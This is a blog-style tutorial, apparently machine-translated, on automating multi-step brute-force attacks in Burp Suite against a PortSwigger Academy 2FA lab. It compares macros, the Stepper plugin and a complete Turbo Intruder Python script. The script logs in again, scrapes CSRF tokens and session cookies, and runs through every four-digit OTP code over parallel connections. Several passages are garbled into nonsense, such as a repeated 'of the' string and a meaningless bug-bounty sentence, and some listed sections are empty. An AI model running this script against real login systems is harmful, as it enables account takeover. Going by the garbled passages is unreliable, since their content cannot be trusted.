Ticker

6/recent/ticker-posts

Advertisement

Step by Step. Automating multi-pass attacks in Burp Suite (updated)

 

The content of the article

Hey freaks! Hackreaks Here so, now straight to the point. When attacking a web application, you sometimes need to perform a chain of actions many times. The most striking example is brute-force passwords or second factor of authentication, or multiple use of resources. There are different tools for this. Which one to choose if, for example, we need to make five requests over HTTP a thousand times in a row, maintaining the same session? I’ll choose Burp Suite, and here’s why.

Scripting languages ​​are great for automating multi-step attacks, but not everyone and it is not always convenient to spend an extra hour writing and debugging code when there is a ready-made solution nearby that requires minimal configuration. Equally important, in order to achieve a high speed of sending and processing requests, as well as for parallel execution, you need to know the correct stacks that do not slow down parallel execution and do not perform unnecessary actions that complicate execution.

If you find it difficult to implement such tasks using programming languages ​​or you think it will take a long time, you can use Burp Suite. This tool provides several ways to automate at once:

We will talk about what these approaches give, about their capabilities and limitations.

We will consider the work of these three approaches using the example of a problem that has to be solved very often: brute force four-digit one-time passwords that are used … Yes, almost everywhere. Incidentally, the bug bounty for the operation of NKM-Vimos-dren we can get-but not low-cart-reward-denie .

As a test bench, a task from the educational resource PortSwigger Academy , which requires us to perform hundreds of multi-step repetitive actions, is perfect.

WARNING

Hackfreaks Official.

Attention! All information is provided for informational and educational purposes only. The author is not responsible for any possible harm caused by the materials of this article. All further steps were performed for educational and research purposes only. The author does not intend to harm any company or individuals.

DESCRIPTION OF THE PROBLEM

Here’s how the test problem is formulated on the PortSwigger Academy website:

Two-factor authentication in this lab is vulnerable to brute-force attacks. You have already received a username and password, but you do not have access to the 2FA user verification code. To solve this problem, brute force it to find the 2FA code and gain access to Carlos’s account page.

Of the of Of the Credentials of the the of of of of of of of of of of of The of The victim of: carlos:montoya.

The peculiarity of this task is that it is not enough just to iterate over the One Time Password (hereinafter OTP) code with an existing session, because after two incorrect attempts, the application stops considering the session valid. To solve the problem, we have to perform pre-authentication using credentials, and then try to predict the OTP code.

More about the task

We are given an authentication page that looks like this.

Authentication page

When entering credentials, the application sends the following request to the server:

POST /login HTTP/1.1

Host: ace61ff51f4557d880dbab96004f009d.web-security-academy.net

Cookie: session=rcnBF1vzBD00ZSjcoswRzttRrEPIQNj2

Content-Type: application/x-www-form-urlencoded

Content-Length: 70

csrf=AxCZcrNQ1Y7x8xTI9odKun0alLM34a9a&username=carlos&password=montoya

If we enter the credentials correctly, the next page for entering the OTP code appears on the screen.

OTP input page

After entering a random OTP code, the application will send the following request:

POST /login2 HTTP/1.1

Host: ace61ff51f4557d880dbab96004f009d.web-security-academy.net

Cookie: session=2gt4P1gFqzyxZJIonAlFv9czYetD5pm0

Content-Type: application/x-www-form-urlencoded

Content-Length: 51

csrf=W9Nei8NhTXl5usVKeynuZ3kbjRHaVjW7&mfa-code=1234

If we can guess the OTP code, we will solve the problem. The chance of guessing, in fact, is not so small: 1 in 10,000. Taking into account the fact that the number of attempts we have is not limited, even if it requires additional actions, the result is 100% guaranteed.

What is important to know before we start solving this problem?

It remains to automate the process of obtaining a session, entering primary credentials, picking up CSRF tokens and trying to predict the OTP code. Let’s get started!

SOLUTION METHODS

Method 1. Using macros

Burp Suite macros are a mechanism for automating predefined workflows. You can use macros within session processing rules to solve various problems. It is not difficult to learn how to use them, especially on the example of our problem.

It took about ten minutes to guess the Intruder code (my code was 0643). It's super long! Not even a tenth of all attempts. Why can't it be faster? Because Session Handling cannot support a session for two threads at the same time.

Let’s summarize what macros give us and what they can do.

Capabilities:

Problems:

Method 2. Using the Stepper plugin

The Stepper Plugin is a free plugin available in the Burp Suite Extender that helps automate workflows. You can find it on GitHub .

The developers tell the following about Stepper:

Stepper is designed as a natural evolution of Burp Suite’s Repeater tool, and provides the ability to create sequences of steps and define regular expressions to extract values ​​from responses, which can then be used in subsequent steps.

AND IF YOU ENJOYING THE ARTICLE THEN SUBS TO THE OUR TELEGRAM CHANNEL IS APPRECIATIVE

Let’s install it and use it to solve our problem.

WARNING

Very important! If you are doing this after the previous experiment, disable the previously created session handling rules and delete the macros!

The Stepper module allows you to select a number of requests and declare in each of them the variables that the request receives from the previous step. Then it substitutes them, as well as the variables obtained from the response body using regular expressions, and passes them on to the next request. Such a simple and straightforward bunch.

Initial Stepper setup

This time I was more fortunate, my code was 0261. What is important to notice? Unlike the previous version, we are not limited to one thread and created five threads, and the smartest ones could disable the Set Connection: close checkbox in the load options and remove this header from the packages in Stepper and Intruder to increase the speed of work ...

Let’s draw conclusions.

Capabilities:

Problems:

This plugin is more suitable for using it with the Repeater module, as the developers warned us about in the welcome message.

Method 3. Using the Turbo Intruder plugin

Turbo Intruder is one of the most powerful tools in the Burp Suite and should be mastered by every self-respecting Burp user. It can also be downloaded from GitHub .

Turbo Intruder is a Burp Suite extension for sending large numbers of HTTP requests and analyzing the results. It is designed to complement Burp Intruder by handling attacks that require exceptional speed, duration, or difficulty. This module has the following features.

Knowing the basics of Python is required to use Turbo Intruder. However, all we need to get started is to install Turbo Intruder from the Extender module.

After installation, we will immediately move on to solving the problem.

import re

import time

#Regulars for pulling session IDs and CSRF tokens

re_csrf = 'name="csrf" value="([\w\d]+)"'

re_session = 'session=([\d\w]+)'

iterable = 0

def queueRequests(target, wordlists):

global engine

# We include one request for one connection, so as not to violate the execution logic, connections in accordance with what the application will withstand.
# All these values will have to be calibrated from server to server. The task server does not hold high load very well, so we will limit ourselves to five parallel connections

engine = RequestEngine(endpoint='https://ac051f441e762a3780359cb6002300a2.web-security-academy.net:443',concurrentConnections=5,requestsPerConnection=1)

# Run the first queries, which will trigger subsequent queries.

# We make a delay of one second so that the threads do not execute synchronously, but alternate.

for x in xrange(1,6):

print '1. GET /login Request'

engine.queue(target.req,'')

time.sleep(1)

def handleResponse(req, interesting):

global engine

global iterable

if 'Location: /my-account' in req.response:

# If we received this title in the response, then we won

table.add(req)

print 'You Win!'

return None

if 'Incorrect security code' in req.response:

# If we receive a message about incorrectly entered code in the response, it means that we used one attempt, and then we start a new iteration of requests

table.add(req)

print '1. GET /login Request'

engine.queue(target.req,'')

return None

if 'Please enter your 4-digit security code' in req.response:

# If in response we receive an offer to enter OTP, then we send a request with an attempt to enter OTP

match_csrf = re.search(re_csrf, req.response)

match_session = re.search(re_session, req.getRequest())

req = '''POST /login2 HTTP/1.1\r\nHost: ac051f441e762a3780359cb6002300a2.web-security-academy.net\r\nCookie: session=%s\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 51\r\n\r\ncsrf=%s&mfa-code=%s'''

print '4. POST /login2 Request'

engine.queue(req, [match_session.group(1),match_csrf.group(1),str(iterable).zfill(4)])

iterable += 1

print 'Iterable: ' + str(iterable)

return None

if 'Location: /login2' in req.response:

# If in the response we receive a message about the transition to the page / login2, it means that we have previously entered the correct credits and now we receive a new session ID and go to the page to take CSRF for a request with OTP

match_session = re.search(re_session, req.response)

req = '''GET /login2 HTTP/1.1\r\nHost: ac051f441e762a3780359cb6002300a2.web-security-academy.net\r\nCookie: session=%s\r\n\r\n'''

print '3. GET /login2 Request'

engine.queue(req, match_session.group(1))

return None

if '<form class=login-form method=POST action=/login>' in req.response:

# If the first request was successful, then we will receive a page with a proposal to enter a username and password, enter a username and password

match_session = re.search(re_session, req.response)

match_csrf = re.search(re_csrf, req.response)

req = '''POST /login HTTP/1.1\r\nHost: ac051f441e762a3780359cb6002300a2.web-security-academy.net\r\nCookie: session=%s\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 70\r\n\r\ncsrf=%s&username=carlos&password=montoya'''

print '2. POST /login Request'

engine.queue(req, [match_session.group(1),match_csrf.group(1)])

return None

Since Turbo Intruder does not have the ability to conveniently maintain a session between requests, you have to do it by hand, creating new requests based on session IDs received from previous requests.

As a first approximation, the logic of the script is as follows. I am running five primary queries that run on five concurrent connections. Further, the response to each request is processed. The response handler sets a condition that it received the expected response and then executes the next logical request. For example, after receiving a response with an invitation to enter a password, a request is made to enter a username and password, and so on.

With this script, I was able to run 400 attempts (~ 1500 requests) for 30 seconds to solve the task about 20 times-bys tray than in the previous examples. To be honest, we could spend a little more time on the calibration parameters concurrentConnectionsrequestsPerConnection and pipeline and to solve the problem more quickly, but it was enough for me and it.

Let’s summarize for this example.

Capabilities:

Problems:

CONCLUSION

I personally love the Turbo Intruder tool, but for newbies, the Stepper module or built-in macros may be easier to use. However, macros and Stepper may not be suitable for real-world tasks due to their slowness.

It is also worth mentioning that in each example, I left several ways to improve the speed of work or increase the number of attempts by about two times with a slight increase in the number of requests. If you come up with improvements, share them in the comments. In addition, it will be great if you can tell us about other options for solving this problem.

Thanks for reading!

Post a Comment

0 Comments